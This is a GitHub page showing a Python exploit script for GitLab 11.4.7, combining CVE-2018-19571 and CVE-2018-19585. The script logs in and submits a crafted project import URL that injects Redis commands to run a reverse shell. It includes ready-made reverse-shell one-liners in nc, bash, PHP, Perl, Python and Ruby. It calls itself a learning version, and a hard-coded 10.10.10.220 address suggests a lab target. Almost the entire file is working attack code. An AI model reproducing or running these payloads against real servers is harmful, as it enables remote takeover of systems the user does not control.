-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathrce_script.py
168 lines (120 loc) · 5.83 KB
/
rce_script.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
#!/usr/bin/python3
# Script by @algafix
# Simplications and changes for learning purposes.
# Based on the version from: Sam Redmond, Tam Lai Yin
# https://github.com/ctrlsam/GitLab-11.4.7-RCE
# CVE: CVE-2018-19571 + CVE-2018-19585
from random import randint
from argparse import RawTextHelpFormatter
import requests
import argparse
import base64
import re
########## GENERAL CONFIG ###########
parser = argparse.ArgumentParser(description='GitLab 11.4.7 RCE', formatter_class=RawTextHelpFormatter)
parser.add_argument('-u', help='GitLab Username/Email', required=True)
parser.add_argument('-p', help='Gitlab Password', required=True)
parser.add_argument('-g', help='Gitlab URL with port http://127.0.0.1:5080', required=True)
parser.add_argument('-l', help='Reverse shell ip', required=True)
parser.add_argument('-P', help='Reverse shell port', required=True)
parser.add_argument('L', metavar='lang', nargs='?', help='Language for the reverse shell. Default nc_e\nSupported: nc_e, bash, perl, python3, ruby, php')
args = parser.parse_args()
user = args.u
pwd = args.p
url = args.g
local_ip = args.l
local_port = args.P
shell_lang = ('nc_e' if args.L == None else args.L)
auth_token_regex = re.compile(r'<input.*?authenticity_token.*?value="(.*)".*/>')
namespace_id_regex = re.compile(r'<input.*?value="(.*)".*?project\[namespace_id\]')
######## PAYLOAD FUNCTIONS ########
payloads_dict = {
'nc_e': {
'safe': True,
'raw_payload': 'nc -e /bin/bash {local_ip} {local_port}'
},
'bash': {
'safe': False,
'raw_payload': 'bash -i >& /dev/tcp/{local_ip}/{local_port} 0>&1',
'exec_string': 'echo {payload} | base64 -d | /bin/bash'
},
'php': {
'safe': False,
'raw_payload': '$sock=fsockopen("{local_ip}",{local_port});$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);',
'exec_string': 'echo {payload} | base64 -d | php'
},
'perl': {
'safe': False,
'raw_payload': 'use Socket;$i="{local_ip}";$p={local_port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}};',
'exec_string': 'echo {payload} | base64 -d | perl'
},
'python3': {
'safe': False,
'raw_payload': 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{local_ip}",{local_port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);',
'exec_string': 'echo {payload} | base64 -d | python3'
},
'ruby': {
'safe': False,
'raw_payload': 'exit if fork;c=TCPSocket.new("{local_ip}",{local_port});loop{{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){{|io|c.print io.read}}))rescue c.puts "failed: #{{$_}}"}}',
'exec_string': 'echo {payload} | base64 -d | ruby -rsocket'
},
}
def url_encode(b64_String):
return b64_String.replace('=', '%3D').replace('+', '%2B')
def get_payload(language):
try:
payload_dict = payloads_dict[language]
except KeyError:
exit(f"[-] No shell defined for language {language}")
if payload_dict['safe'] == True:
payload = payload_dict['raw_payload'].format(local_ip=local_ip, local_port=local_port)
else:
raw_payload = payload_dict['raw_payload'].format(local_ip=local_ip, local_port=local_port)
base64_payload = base64.b64encode(raw_payload.encode()).decode()
base64_payload = url_encode(base64_payload)
payload = payload_dict['exec_string'].format(payload=base64_payload)
return payload
############## LOGIN ################
request = requests.Session()
url_login = url + '/users/sign_in'
try:
login_page = request.get(url_login)
except Exception as e:
exit(f"Error accessing {url_login}")
if login_page.status_code != 200:
exit(f"[-] GitLab error: {login_page.status_code}")
auth_token = re.findall(auth_token_regex, login_page.text)[0]
login_data = {
'authenticity_token': auth_token,
'user[login]': user,
'user[password]': pwd,
'user[remember_me]': 0
}
login_post = request.post(url_login, data=login_data)
if login_post.status_code != 200:
exit(f"[-] Login general error: {login_post.status_code} {url_login}")
elif "Invalid Login" in login_post.text:
exit(f"[-] Login error: {user} / {pwd}")
print("[+] Login successful.")
############ PROJECT CREATION AND EXPLOIT #########
url_project = url + '/projects'
url_new_project = 'http://10.10.10.220:5080/projects/new'
project_page = request.get(url_new_project)
project_name = "project" + str(randint(1000,9999))
namespace_id = re.findall(namespace_id_regex, project_page.text)[-1]
auth_token = re.findall(auth_token_regex, project_page.text)[-1]
auth_token = url_encode(auth_token)
print(f'[+] Creating payload in {shell_lang}')
payload = get_payload(shell_lang)
exploit_form = \
"""utf8=%E2%9C%93&authenticity_token=""" + auth_token + """&project%5Bimport_url%5D=git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"class_eval\\",\\"open(\\'|"""+ payload +"""\\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"ad52abc5641173e217eb2e52\\",\\"created_at\\":1513714403.8122594,\\"enqueued_at\\":1513714403.8129568}"
exec
exec
/ssrf.git&project%5Bci_cd_only%5D=false&project%5Bname%5D="""+ project_name +"""&project%5Bnamespace_id%5D="""+ namespace_id +"""&project%5Bpath%5D="""+ project_name +"""&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0"""
project_post = request.post(url_project, data=exploit_form, verify=False)
if project_post.status_code != 200:
exit("[-] Problem in the project creation.")
print("[+] Payload sent.")